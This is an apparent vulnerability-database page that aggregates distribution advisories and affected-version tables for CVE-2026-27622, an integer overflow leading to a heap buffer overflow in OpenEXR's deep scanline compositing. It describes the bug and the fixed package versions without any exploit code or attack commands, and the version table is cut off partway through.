RHSA-2026:8872- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRHSA-2026:8888
7.4
Red Hat Security Advisory: openexr security update
- Record
RHSA-2026:8888- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRLSA-2026:7682
7.4
Important: openexr security update
OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.
Security Fix(es):
- openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:7682- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRLSA-2026:8863
7.4
Important: OpenEXR security update
OpenEXR is a high dynamic-range (HDR) image file format developed by Industrial Light & Magic for use in computer imaging applications. This package contains libraries and sample applications for handling the format.
Security Fix(es):
- openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:8863- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVRLSA-2026:8888
7.4
Important: openexr security update
OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.
Security Fix(es):
- openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
RLSA-2026:8888- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVROOT-OS-DEBIAN-11-CVE-2026-27622
7.8
CVE-2026-27622 in openexr - Patched by Root
Root has patched CVE-2026-27622 in the openexr package for Root:Debian:11. Multiple fixed versions available.
- Record
ROOT-OS-DEBIAN-11-CVE-2026-27622- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVROOT-OS-DEBIAN-12-CVE-2026-27622
7.8
CVE-2026-27622 in openexr - Patched by Root
Root has patched CVE-2026-27622 in the openexr package for Root:Debian:12. Multiple fixed versions available.
- Record
ROOT-OS-DEBIAN-12-CVE-2026-27622- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVROOT-OS-DEBIAN-13-CVE-2026-27622
7.8
CVE-2026-27622 in openexr - Patched by Root
Root has patched CVE-2026-27622 in the openexr package for Root:Debian:13. Multiple fixed versions available.
- Record
ROOT-OS-DEBIAN-13-CVE-2026-27622- CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-27622
8.4
OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector<unsigned int> total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32. overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.
- Record
UBUNTU-CVE-2026-27622- CVSS 4.0
- 8.4 High
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.4 High
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H - CVSS 3.1
- 7.8 High
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - Updated
- 2026-11-02
OSVALSA-2026:7682 No score
Important: openexr security update
OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.
Security Fix(es):
- openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:7682- Updated
- 2026-11-02
OSVALSA-2026:8863 No score
Important: OpenEXR security update
OpenEXR is a high dynamic-range (HDR) image file format developed by Industrial Light & Magic for use in computer imaging applications. This package contains libraries and sample applications for handling the format.
Security Fix(es):
- openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:8863- Updated
- 2026-11-02
OSVALSA-2026:8888 No score
Important: openexr security update
OpenEXR is an open-source high-dynamic-range floating-point image file format for high-quality image processing and storage. This document presents a brief overview of OpenEXR and explains concepts that are specific to this format. This package containes the binaries for OpenEXR.
Security Fix(es):
- openexr: OpenEXR: Arbitrary code execution via integer overflow in EXR file processing (CVE-2026-27622)
For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.
- Record
ALSA-2026:8888- Updated
- 2026-11-02
OSVCLSA-2026-1773831456 No score
openexr: Fix of CVE-2026-27622
- CVE-2026-27622: fix integer overflow in CompositeDeepScanLine leading to heap buffer overflow
- Record
CLSA-2026-1773831456- Updated
- 2026-11-02
OSVCLSA-2026-1774604404 No score
openexr: Fix of CVE-2026-27622
- CVE-2026-27622: fix integer overflow in CompositeDeepScanLine leading to heap buffer overflow
- Record
CLSA-2026-1774604404- Updated
- 2026-11-02
OSVCLSA-2026-1787317469 No score
Fix CVE(s): CVE-2026-27622
- SECURITY UPDATE: Integer overflow in deep scanline compositing
- debian/patches/CVE-2026-27622.patch: reject deep pixels claiming more than UINT_MAX samples in IlmImf/ImfCompositeDeepScanLine.cpp.
- CVE-2026-27622
- Record
CLSA-2026-1787317469- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10303-1 No score
libIex-3_4-33-3.4.6-1.1 on GA media
These are all security issues fixed in the libIex-3_4-33-3.4.6-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10303-1- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:20433-1 No score
Security update for openexr
This update for openexr fixes the following issue:
- CVE-2026-27622: crafted multipart deep EXR can cause an heap out-of-bound write (bsc#1259177).
- Record
openSUSE-SU-2026:20433-1- Updated
- 2026-11-02
OSVSUSE-SU-2026:20936-1 No score
Security update for openexr
This update for openexr fixes the following issue:
- CVE-2026-27622: crafted multipart deep EXR can cause an heap out-of-bound write (bsc#1259177).
- Record
SUSE-SU-2026:20936-1- Updated
- 2026-11-02
OSVUSN-8259-1 No score
openexr vulnerabilities
Quang Luong discovered that OpenEXR incorrectly handled sample count accumulation when processing deep scan line image files. An attacker could possibly use this issue to cause OpenEXR to crash, resulting in a denial of service, or execute arbitrary code. (CVE-2026-27622)
It was discovered that OpenEXR had an integer overflow in the PXR24 decoder. An attacker could possibly use this issue to cause OpenEXR to crash, resulting in a denial of service, or execute arbitrary code. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-34380)
Quang Luong discovered that OpenEXR had a signed integer overflow in the PIZ decoder. An attacker could possibly use this issue to cause OpenEXR to crash, resulting in a denial of service, or execute arbitrary code. This issue only affected Ubuntu 24.04 LTS and Ubuntu 26.04 LTS. (CVE-2026-34588)
- Record
USN-8259-1- Updated
- 2026-11-02
Affected products
- academysoftwarefoundation openexr
- openexr
- red hat ai inference server 3.3
- red hat enterprise linux 10
- red hat enterprise linux 10.0 extended update support
- red hat enterprise linux 6
- red hat enterprise linux 7
- red hat enterprise linux 8
- red hat enterprise linux 8.2 advanced update support
- red hat enterprise linux 8.4 advanced mission critical update support
- red hat enterprise linux 8.4 extended update support long-life add-on
- red hat enterprise linux 8.6 advanced mission critical update support
Show 9 moreShow less
- red hat enterprise linux 8.6 telecommunications update service
- red hat enterprise linux 8.6 update services for sap solutions
- red hat enterprise linux 8.8 telecommunications update service
- red hat enterprise linux 8.8 update services for sap solutions
- red hat enterprise linux 9
- red hat enterprise linux 9.0 update services for sap solutions
- red hat enterprise linux 9.2 update services for sap solutions
- red hat enterprise linux 9.4 extended update support
- red hat enterprise linux 9.6 extended update support
Affected packages
| Package | Affected | Fixed |
|---|---|---|
openexrPyPI |
2.3.0 up to 3.2.6 | 3.2.6 |
openexrPyPI |
3.3.0 up to 3.3.8 | 3.3.8 |
openexrPyPI |
3.4.0 up to 3.4.6 | 3.4.6 |
openexrAlmaLinux:10 |
before 3.1.10-8.el10_1.1 | 3.1.10-8.el10_1.1 |
openexr-develAlmaLinux:10 |
before 3.1.10-8.el10_1.1 | 3.1.10-8.el10_1.1 |
openexr-libsAlmaLinux:10 |
before 3.1.10-8.el10_1.1 | 3.1.10-8.el10_1.1 |
OpenEXR-develAlmaLinux:8 |
before 2.2.0-12.el8_10.1 | 2.2.0-12.el8_10.1 |
OpenEXR-libsAlmaLinux:8 |
before 2.2.0-12.el8_10.1 | 2.2.0-12.el8_10.1 |
openexrAlmaLinux:9 |
before 3.1.1-3.el9_7.1 | 3.1.1-3.el9_7.1 |
openexr-develAlmaLinux:9 |
before 3.1.1-3.el9_7.1 | 3.1.1-3.el9_7.1 |
Show 144 moreShow less
| Package | Affected | Fixed |
|---|---|---|
openexr-libsAlmaLinux:9 |
before 3.1.1-3.el9_7.1 | 3.1.1-3.el9_7.1 |
openexrTuxCare:AlmaLinux:9.6 |
before 3.1.1-3.el9.tuxcare.els1 | 3.1.1-3.el9.tuxcare.els1 |
openexr-develTuxCare:AlmaLinux:9.6 |
before 3.1.1-3.el9.tuxcare.els1 | 3.1.1-3.el9.tuxcare.els1 |
openexr-libsTuxCare:AlmaLinux:9.6 |
before 3.1.1-3.el9.tuxcare.els1 | 3.1.1-3.el9.tuxcare.els1 |
openexrTuxCare:AlmaLinux:9.2 |
before 3.1.1-2.el9.tuxcare.els3 | 3.1.1-2.el9.tuxcare.els3 |
openexr-develTuxCare:AlmaLinux:9.2 |
before 3.1.1-2.el9.tuxcare.els3 | 3.1.1-2.el9.tuxcare.els3 |
openexr-libsTuxCare:AlmaLinux:9.2 |
before 3.1.1-2.el9.tuxcare.els3 | 3.1.1-2.el9.tuxcare.els3 |
libopenexr-devTuxCare:Ubuntu:18.04 |
before 2.2.0-11.1ubuntu1.9+tuxcare.els1 | 2.2.0-11.1ubuntu1.9+tuxcare.els1 |
libopenexr22TuxCare:Ubuntu:18.04 |
before 2.2.0-11.1ubuntu1.9+tuxcare.els1 | 2.2.0-11.1ubuntu1.9+tuxcare.els1 |
openexrTuxCare:Ubuntu:18.04 |
before 2.2.0-11.1ubuntu1.9+tuxcare.els1 | 2.2.0-11.1ubuntu1.9+tuxcare.els1 |
openexr-docTuxCare:Ubuntu:18.04 |
before 2.2.0-11.1ubuntu1.9+tuxcare.els1 | 2.2.0-11.1ubuntu1.9+tuxcare.els1 |
openexrDebian:12 |
All versions, plus listed versions 3.1.13-13.1.13-23.1.5-53.1.5-5.13.1.5-5.1+hurd.1 Show 6 moreShow less3.4.14-0.13.4.15+ds-13.4.6+ds-13.4.6+ds-23.4.6+ds-33.4.6+ds-4 |
None known |
openexrDebian:13 |
All versions, plus listed versions 3.1.13-23.4.14-0.13.4.15+ds-13.4.6+ds-13.4.6+ds-23.4.6+ds-33.4.6+ds-4 |
None known |
openexrDebian:14 |
before 3.4.6+ds-1, plus listed versions 3.1.13-2 |
3.4.6+ds-1 |
openexrPyPI |
2.3.0 up to 3.2.6, plus listed versions 3.2.33.2.43.2.5 |
3.2.6 |
openexrPyPI |
3.3.0 up to 3.3.8, plus listed versions 3.3.13.3.23.3.33.3.43.3.53.3.63.3.7 |
3.3.8 |
openexrPyPI |
3.4.0 up to 3.4.6, plus listed versions 3.4.13.4.23.4.33.4.43.4.5 |
3.4.6 |
OpenEXR_jllJulia |
before 3.4.8+0 | 3.4.8+0 |
OpenEXRopenEuler:24.03-LTS |
before 3.1.11-5.oe2403 | 3.1.11-5.oe2403 |
OpenEXRopenEuler:24.03-LTS-SP1 |
before 3.1.11-5.oe2403sp1 | 3.1.11-5.oe2403sp1 |
OpenEXRopenEuler:24.03-LTS-SP2 |
before 3.1.11-5.oe2403sp2 | 3.1.11-5.oe2403sp2 |
OpenEXRopenEuler:24.03-LTS-SP3 |
before 3.1.11-5.oe2403sp3 | 3.1.11-5.oe2403sp3 |
OpenEXRopenEuler:22.03-LTS-SP4 |
before 3.1.5-5.oe2203sp4 | 3.1.5-5.oe2203sp4 |
openexrPyPI |
2.3.0 up to 3.2.6, 3.3.0 up to 3.3.8, 3.4.0 up to 3.4.6, plus listed versions 3.2.33.2.43.2.53.3.13.3.2 Show 10 moreShow less3.3.33.3.43.3.53.3.63.3.73.4.13.4.23.4.33.4.43.4.5 |
3.2.63.3.83.4.6 |
OpenEXRRed Hat:rhel_e4s:8.8::appstream |
before 0:2.2.0-12.el8_8.1 | 0:2.2.0-12.el8_8.1 |
OpenEXR-debuginfoRed Hat:rhel_e4s:8.8::appstream |
before 0:2.2.0-12.el8_8.1 | 0:2.2.0-12.el8_8.1 |
OpenEXR-debugsourceRed Hat:rhel_e4s:8.8::appstream |
before 0:2.2.0-12.el8_8.1 | 0:2.2.0-12.el8_8.1 |
OpenEXR-libsRed Hat:rhel_e4s:8.8::appstream |
before 0:2.2.0-12.el8_8.1 | 0:2.2.0-12.el8_8.1 |
OpenEXR-libs-debuginfoRed Hat:rhel_e4s:8.8::appstream |
before 0:2.2.0-12.el8_8.1 | 0:2.2.0-12.el8_8.1 |
OpenEXRRed Hat:rhel_tus:8.8::appstream |
before 0:2.2.0-12.el8_8.1 | 0:2.2.0-12.el8_8.1 |
OpenEXR-debuginfoRed Hat:rhel_tus:8.8::appstream |
before 0:2.2.0-12.el8_8.1 | 0:2.2.0-12.el8_8.1 |
OpenEXR-debugsourceRed Hat:rhel_tus:8.8::appstream |
before 0:2.2.0-12.el8_8.1 | 0:2.2.0-12.el8_8.1 |
OpenEXR-libsRed Hat:rhel_tus:8.8::appstream |
before 0:2.2.0-12.el8_8.1 | 0:2.2.0-12.el8_8.1 |
OpenEXR-libs-debuginfoRed Hat:rhel_tus:8.8::appstream |
before 0:2.2.0-12.el8_8.1 | 0:2.2.0-12.el8_8.1 |
OpenEXRRed Hat:rhel_aus:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXR-debuginfoRed Hat:rhel_aus:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXR-debugsourceRed Hat:rhel_aus:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXR-libsRed Hat:rhel_aus:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXR-libs-debuginfoRed Hat:rhel_aus:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXRRed Hat:rhel_e4s:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXR-debuginfoRed Hat:rhel_e4s:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXR-debugsourceRed Hat:rhel_e4s:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXR-libsRed Hat:rhel_e4s:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXR-libs-debuginfoRed Hat:rhel_e4s:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXRRed Hat:rhel_tus:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXR-debuginfoRed Hat:rhel_tus:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXR-debugsourceRed Hat:rhel_tus:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXR-libsRed Hat:rhel_tus:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXR-libs-debuginfoRed Hat:rhel_tus:8.6::appstream |
before 0:2.2.0-12.el8_6.1 | 0:2.2.0-12.el8_6.1 |
OpenEXRRed Hat:rhel_aus:8.2::appstream |
before 0:2.2.0-11.el8_2.1 | 0:2.2.0-11.el8_2.1 |
OpenEXR-debuginfoRed Hat:rhel_aus:8.2::appstream |
before 0:2.2.0-11.el8_2.1 | 0:2.2.0-11.el8_2.1 |
OpenEXR-debugsourceRed Hat:rhel_aus:8.2::appstream |
before 0:2.2.0-11.el8_2.1 | 0:2.2.0-11.el8_2.1 |
OpenEXR-libsRed Hat:rhel_aus:8.2::appstream |
before 0:2.2.0-11.el8_2.1 | 0:2.2.0-11.el8_2.1 |
OpenEXR-libs-debuginfoRed Hat:rhel_aus:8.2::appstream |
before 0:2.2.0-11.el8_2.1 | 0:2.2.0-11.el8_2.1 |
OpenEXRRed Hat:rhel_aus:8.4::appstream |
before 0:2.2.0-12.el8_4.1 | 0:2.2.0-12.el8_4.1 |
OpenEXR-debuginfoRed Hat:rhel_aus:8.4::appstream |
before 0:2.2.0-12.el8_4.1 | 0:2.2.0-12.el8_4.1 |
OpenEXR-debugsourceRed Hat:rhel_aus:8.4::appstream |
before 0:2.2.0-12.el8_4.1 | 0:2.2.0-12.el8_4.1 |
OpenEXR-libsRed Hat:rhel_aus:8.4::appstream |
before 0:2.2.0-12.el8_4.1 | 0:2.2.0-12.el8_4.1 |
OpenEXR-libs-debuginfoRed Hat:rhel_aus:8.4::appstream |
before 0:2.2.0-12.el8_4.1 | 0:2.2.0-12.el8_4.1 |
OpenEXRRed Hat:rhel_eus_long_life:8.4::appstream |
before 0:2.2.0-12.el8_4.1 | 0:2.2.0-12.el8_4.1 |
OpenEXR-debuginfoRed Hat:rhel_eus_long_life:8.4::appstream |
before 0:2.2.0-12.el8_4.1 | 0:2.2.0-12.el8_4.1 |
OpenEXR-debugsourceRed Hat:rhel_eus_long_life:8.4::appstream |
before 0:2.2.0-12.el8_4.1 | 0:2.2.0-12.el8_4.1 |
OpenEXR-libsRed Hat:rhel_eus_long_life:8.4::appstream |
before 0:2.2.0-12.el8_4.1 | 0:2.2.0-12.el8_4.1 |
OpenEXR-libs-debuginfoRed Hat:rhel_eus_long_life:8.4::appstream |
before 0:2.2.0-12.el8_4.1 | 0:2.2.0-12.el8_4.1 |
openexrRed Hat:enterprise_linux_eus:10.0 |
before 0:3.1.10-8.el10_0.1 | 0:3.1.10-8.el10_0.1 |
openexr-libsRed Hat:enterprise_linux_eus:10.0 |
before 0:3.1.10-8.el10_0.1 | 0:3.1.10-8.el10_0.1 |
openexrRed Hat:enterprise_linux:10.1 |
before 0:3.1.10-8.el10_1.1 | 0:3.1.10-8.el10_1.1 |
openexr-debuginfoRed Hat:enterprise_linux:10.1 |
before 0:3.1.10-8.el10_1.1 | 0:3.1.10-8.el10_1.1 |
openexr-debugsourceRed Hat:enterprise_linux:10.1 |
before 0:3.1.10-8.el10_1.1 | 0:3.1.10-8.el10_1.1 |
openexr-libsRed Hat:enterprise_linux:10.1 |
before 0:3.1.10-8.el10_1.1 | 0:3.1.10-8.el10_1.1 |
openexr-libs-debuginfoRed Hat:enterprise_linux:10.1 |
before 0:3.1.10-8.el10_1.1 | 0:3.1.10-8.el10_1.1 |
openexr-develRed Hat:enterprise_linux:10.1 |
before 0:3.1.10-8.el10_1.1 | 0:3.1.10-8.el10_1.1 |
OpenEXRRed Hat:enterprise_linux:8::appstream |
before 0:2.2.0-12.el8_10.1 | 0:2.2.0-12.el8_10.1 |
OpenEXR-debuginfoRed Hat:enterprise_linux:8::appstream |
before 0:2.2.0-12.el8_10.1 | 0:2.2.0-12.el8_10.1 |
OpenEXR-debugsourceRed Hat:enterprise_linux:8::appstream |
before 0:2.2.0-12.el8_10.1 | 0:2.2.0-12.el8_10.1 |
OpenEXR-libsRed Hat:enterprise_linux:8::appstream |
before 0:2.2.0-12.el8_10.1 | 0:2.2.0-12.el8_10.1 |
OpenEXR-libs-debuginfoRed Hat:enterprise_linux:8::appstream |
before 0:2.2.0-12.el8_10.1 | 0:2.2.0-12.el8_10.1 |
OpenEXR-debuginfoRed Hat:enterprise_linux:8::crb |
before 0:2.2.0-12.el8_10.1 | 0:2.2.0-12.el8_10.1 |
OpenEXR-debugsourceRed Hat:enterprise_linux:8::crb |
before 0:2.2.0-12.el8_10.1 | 0:2.2.0-12.el8_10.1 |
OpenEXR-develRed Hat:enterprise_linux:8::crb |
before 0:2.2.0-12.el8_10.1 | 0:2.2.0-12.el8_10.1 |
OpenEXR-libs-debuginfoRed Hat:enterprise_linux:8::crb |
before 0:2.2.0-12.el8_10.1 | 0:2.2.0-12.el8_10.1 |
openexrRed Hat:rhel_e4s:9.2::appstream |
before 0:3.1.1-2.el9_2.2 | 0:3.1.1-2.el9_2.2 |
openexr-debuginfoRed Hat:rhel_e4s:9.2::appstream |
before 0:3.1.1-2.el9_2.2 | 0:3.1.1-2.el9_2.2 |
openexr-debugsourceRed Hat:rhel_e4s:9.2::appstream |
before 0:3.1.1-2.el9_2.2 | 0:3.1.1-2.el9_2.2 |
openexr-libsRed Hat:rhel_e4s:9.2::appstream |
before 0:3.1.1-2.el9_2.2 | 0:3.1.1-2.el9_2.2 |
openexr-libs-debuginfoRed Hat:rhel_e4s:9.2::appstream |
before 0:3.1.1-2.el9_2.2 | 0:3.1.1-2.el9_2.2 |
openexrRed Hat:rhel_e4s:9.0::appstream |
before 0:3.1.1-2.el9_0.2 | 0:3.1.1-2.el9_0.2 |
openexr-debuginfoRed Hat:rhel_e4s:9.0::appstream |
before 0:3.1.1-2.el9_0.2 | 0:3.1.1-2.el9_0.2 |
openexr-debugsourceRed Hat:rhel_e4s:9.0::appstream |
before 0:3.1.1-2.el9_0.2 | 0:3.1.1-2.el9_0.2 |
openexr-libsRed Hat:rhel_e4s:9.0::appstream |
before 0:3.1.1-2.el9_0.2 | 0:3.1.1-2.el9_0.2 |
openexr-libs-debuginfoRed Hat:rhel_e4s:9.0::appstream |
before 0:3.1.1-2.el9_0.2 | 0:3.1.1-2.el9_0.2 |
openexrRed Hat:rhel_eus:9.4::appstream |
before 0:3.1.1-2.el9_4.2 | 0:3.1.1-2.el9_4.2 |
openexr-debuginfoRed Hat:rhel_eus:9.4::appstream |
before 0:3.1.1-2.el9_4.2 | 0:3.1.1-2.el9_4.2 |
openexr-debugsourceRed Hat:rhel_eus:9.4::appstream |
before 0:3.1.1-2.el9_4.2 | 0:3.1.1-2.el9_4.2 |
openexr-libsRed Hat:rhel_eus:9.4::appstream |
before 0:3.1.1-2.el9_4.2 | 0:3.1.1-2.el9_4.2 |
openexr-libs-debuginfoRed Hat:rhel_eus:9.4::appstream |
before 0:3.1.1-2.el9_4.2 | 0:3.1.1-2.el9_4.2 |
openexr-debuginfoRed Hat:rhel_eus:9.4::crb |
before 0:3.1.1-2.el9_4.2 | 0:3.1.1-2.el9_4.2 |
openexr-debugsourceRed Hat:rhel_eus:9.4::crb |
before 0:3.1.1-2.el9_4.2 | 0:3.1.1-2.el9_4.2 |
openexr-develRed Hat:rhel_eus:9.4::crb |
before 0:3.1.1-2.el9_4.2 | 0:3.1.1-2.el9_4.2 |
openexr-libs-debuginfoRed Hat:rhel_eus:9.4::crb |
before 0:3.1.1-2.el9_4.2 | 0:3.1.1-2.el9_4.2 |
openexrRed Hat:rhel_eus:9.6::appstream |
before 0:3.1.1-3.el9_6.1 | 0:3.1.1-3.el9_6.1 |
openexr-debuginfoRed Hat:rhel_eus:9.6::appstream |
before 0:3.1.1-3.el9_6.1 | 0:3.1.1-3.el9_6.1 |
openexr-debugsourceRed Hat:rhel_eus:9.6::appstream |
before 0:3.1.1-3.el9_6.1 | 0:3.1.1-3.el9_6.1 |
openexr-libsRed Hat:rhel_eus:9.6::appstream |
before 0:3.1.1-3.el9_6.1 | 0:3.1.1-3.el9_6.1 |
openexr-libs-debuginfoRed Hat:rhel_eus:9.6::appstream |
before 0:3.1.1-3.el9_6.1 | 0:3.1.1-3.el9_6.1 |
openexr-debuginfoRed Hat:rhel_eus:9.6::crb |
before 0:3.1.1-3.el9_6.1 | 0:3.1.1-3.el9_6.1 |
openexr-debugsourceRed Hat:rhel_eus:9.6::crb |
before 0:3.1.1-3.el9_6.1 | 0:3.1.1-3.el9_6.1 |
openexr-develRed Hat:rhel_eus:9.6::crb |
before 0:3.1.1-3.el9_6.1 | 0:3.1.1-3.el9_6.1 |
openexr-libs-debuginfoRed Hat:rhel_eus:9.6::crb |
before 0:3.1.1-3.el9_6.1 | 0:3.1.1-3.el9_6.1 |
openexrRed Hat:enterprise_linux:9::appstream |
before 0:3.1.1-3.el9_7.1 | 0:3.1.1-3.el9_7.1 |
openexr-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:3.1.1-3.el9_7.1 | 0:3.1.1-3.el9_7.1 |
openexr-debugsourceRed Hat:enterprise_linux:9::appstream |
before 0:3.1.1-3.el9_7.1 | 0:3.1.1-3.el9_7.1 |
openexr-libsRed Hat:enterprise_linux:9::appstream |
before 0:3.1.1-3.el9_7.1 | 0:3.1.1-3.el9_7.1 |
openexr-libs-debuginfoRed Hat:enterprise_linux:9::appstream |
before 0:3.1.1-3.el9_7.1 | 0:3.1.1-3.el9_7.1 |
openexr-debuginfoRed Hat:enterprise_linux:9::crb |
before 0:3.1.1-3.el9_7.1 | 0:3.1.1-3.el9_7.1 |
openexr-debugsourceRed Hat:enterprise_linux:9::crb |
before 0:3.1.1-3.el9_7.1 | 0:3.1.1-3.el9_7.1 |
openexr-develRed Hat:enterprise_linux:9::crb |
before 0:3.1.1-3.el9_7.1 | 0:3.1.1-3.el9_7.1 |
openexr-libs-debuginfoRed Hat:enterprise_linux:9::crb |
before 0:3.1.1-3.el9_7.1 | 0:3.1.1-3.el9_7.1 |
openexrRocky Linux:10 |
before 0:3.1.10-8.el10_1.1 | 0:3.1.10-8.el10_1.1 |
OpenEXRRocky Linux:8 |
before 0:2.2.0-12.el8_10.1 | 0:2.2.0-12.el8_10.1 |
openexrRocky Linux:9 |
before 0:3.1.1-3.el9_7.1 | 0:3.1.1-3.el9_7.1 |
openexrRoot:Debian:11 |
before 2.5.4-2+deb11u1.root.io.13 | 2.5.4-2+deb11u1.root.io.132.5.4-2+deb11u1.root.io.142.5.4-2+deb11u1.aikido.172.5.4-2+deb11u1.root.io.122.5.4-2+deb11u1.aikido.162.5.4-2+deb11u1.root.io.152.5.4-2+deb11u1.aikido.18 |
rootio-openexrRoot:Debian:11 |
before 2.5.4-2+deb11u1.root.io.13 | 2.5.4-2+deb11u1.root.io.132.5.4-2+deb11u1.root.io.142.5.4-2+deb11u1.aikido.172.5.4-2+deb11u1.root.io.122.5.4-2+deb11u1.aikido.162.5.4-2+deb11u1.root.io.152.5.4-2+deb11u1.aikido.18 |
openexrRoot:Debian:12 |
before 3.1.5-5.root.io.10 | 3.1.5-5.root.io.103.1.5-5.root.io.153.1.5-5.root.io.213.1.5-5.root.io.223.1.5-5.root.io.123.1.5-5.root.io.233.1.5-5.root.io.133.1.5-5.root.io.143.1.5-5.root.io.113.1.5-5.root.io.163.1.5-5.root.io.173.1.5-5.root.io.183.1.5-5.root.io.193.1.5-5.root.io.203.1.5-5.aikido.243.1.5-5.aikido.25 |
rootio-openexrRoot:Debian:12 |
before 3.1.5-5.root.io.10 | 3.1.5-5.root.io.103.1.5-5.root.io.153.1.5-5.root.io.213.1.5-5.root.io.223.1.5-5.root.io.123.1.5-5.root.io.233.1.5-5.root.io.133.1.5-5.root.io.143.1.5-5.root.io.113.1.5-5.root.io.163.1.5-5.root.io.173.1.5-5.root.io.183.1.5-5.root.io.193.1.5-5.root.io.203.1.5-5.aikido.243.1.5-5.aikido.25 |
openexrRoot:Debian:13 |
before 3.1.13-2.aikido.14 | 3.1.13-2.aikido.143.1.13-2.root.io.103.1.13-2.root.io.113.1.13-2.root.io.93.1.13-2.root.io.133.1.13-2.root.io.123.1.13-2.aikido.15 |
rootio-openexrRoot:Debian:13 |
before 3.1.13-2.aikido.14 | 3.1.13-2.aikido.143.1.13-2.root.io.103.1.13-2.root.io.113.1.13-2.root.io.93.1.13-2.root.io.133.1.13-2.root.io.123.1.13-2.aikido.15 |
openexrSUSE:Linux Enterprise Server 16.0 |
before 3.2.2-160000.5.1 | 3.2.2-160000.5.1 |
openexrSUSE:Linux Enterprise Server for SAP applications 16.0 |
before 3.2.2-160000.5.1 | 3.2.2-160000.5.1 |
openexrUbuntu:Pro:16.04:LTS |
